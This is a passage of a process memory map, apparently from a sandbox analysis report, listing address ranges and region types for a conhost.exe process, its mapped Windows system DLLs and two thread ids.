	            name = "pagefile_0x00007df5ff4c0000"
	        filename = ""

Region:
	              id = 7910
	        start_va = 0x7ff6c4660000
	          end_va = 0x7ff6c4682fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c4660000"
	        filename = ""

Region:
	              id = 7911
	        start_va = 0x7ff6c4683000
	          end_va = 0x7ff6c4683fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c4683000"
	        filename = ""

Region:
	              id = 7912
	        start_va = 0x7ff6c468e000
	          end_va = 0x7ff6c468ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c468e000"
	        filename = ""

Region:
	              id = 7913
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 7914
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 7915
	        start_va = 0x7bd64e0000
	          end_va = 0x7bd65dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd64e0000"
	        filename = ""

Region:
	              id = 7916
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 7917
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 7919
	        start_va = 0x7bd6380000
	          end_va = 0x7bd638ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000007bd6380000"
	        filename = ""

Region:
	              id = 7920
	        start_va = 0x7bd6390000
	          end_va = 0x7bd6396fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd6390000"
	        filename = ""

Region:
	              id = 7921
	        start_va = 0x7bd6400000
	          end_va = 0x7bd64bdfff
	     entry_point = 0x7bd6400000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 7922
	        start_va = 0x7bd64c0000
	          end_va = 0x7bd64c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000007bd64c0000"
	        filename = ""

Region:
	              id = 7923
	        start_va = 0x7bd64d0000
	          end_va = 0x7bd64d6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd64d0000"
	        filename = ""

Region:
	              id = 7924
	        start_va = 0x7bd65e0000
	          end_va = 0x7bd661ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd65e0000"
	        filename = ""

Region:
	              id = 7925
	        start_va = 0x7bd6620000
	          end_va = 0x7bd6620fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd6620000"
	        filename = ""

Region:
	              id = 7926
	        start_va = 0x7bd6630000
	          end_va = 0x7bd6630fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd6630000"
	        filename = ""

Region:
	              id = 7927
	        start_va = 0x7bd6740000
	          end_va = 0x7bd674ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd6740000"
	        filename = ""

Region:
	              id = 7928
	        start_va = 0x7bd6750000
	          end_va = 0x7bd68d7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000007bd6750000"
	        filename = ""

Region:
	              id = 7929
	        start_va = 0x7bd68e0000
	          end_va = 0x7bd6a60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000007bd68e0000"
	        filename = ""

Region:
	              id = 7930
	        start_va = 0x7bd6a70000
	          end_va = 0x7bd7e6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000007bd6a70000"
	        filename = ""

Region:
	              id = 7931
	        start_va = 0x7ff6c4560000
	          end_va = 0x7ff6c465ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c4560000"
	        filename = ""

Region:
	              id = 7932
	        start_va = 0x7ff6c468c000
	          end_va = 0x7ff6c468dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c468c000"
	        filename = ""

Region:
	              id = 7933
	        start_va = 0x7ffbfc0f0000
	          end_va = 0x7ffbfc14ffff
	     entry_point = 0x7ffbfc0f0000
	     region_type = mapped_file
	            name = "conhostv1.dll"
	        filename = "\\Windows\\System32\\ConhostV1.dll" (normalized: "c:\\windows\\system32\\conhostv1.dll")

Region:
	              id = 7934
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 7935
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 7936
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 7937
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 7938
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 7939
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 7940
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 7941
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")


Thread:
	id = 55
	os_tid = 0xd6c


Thread:
	id = 56
	os_tid = 0xd70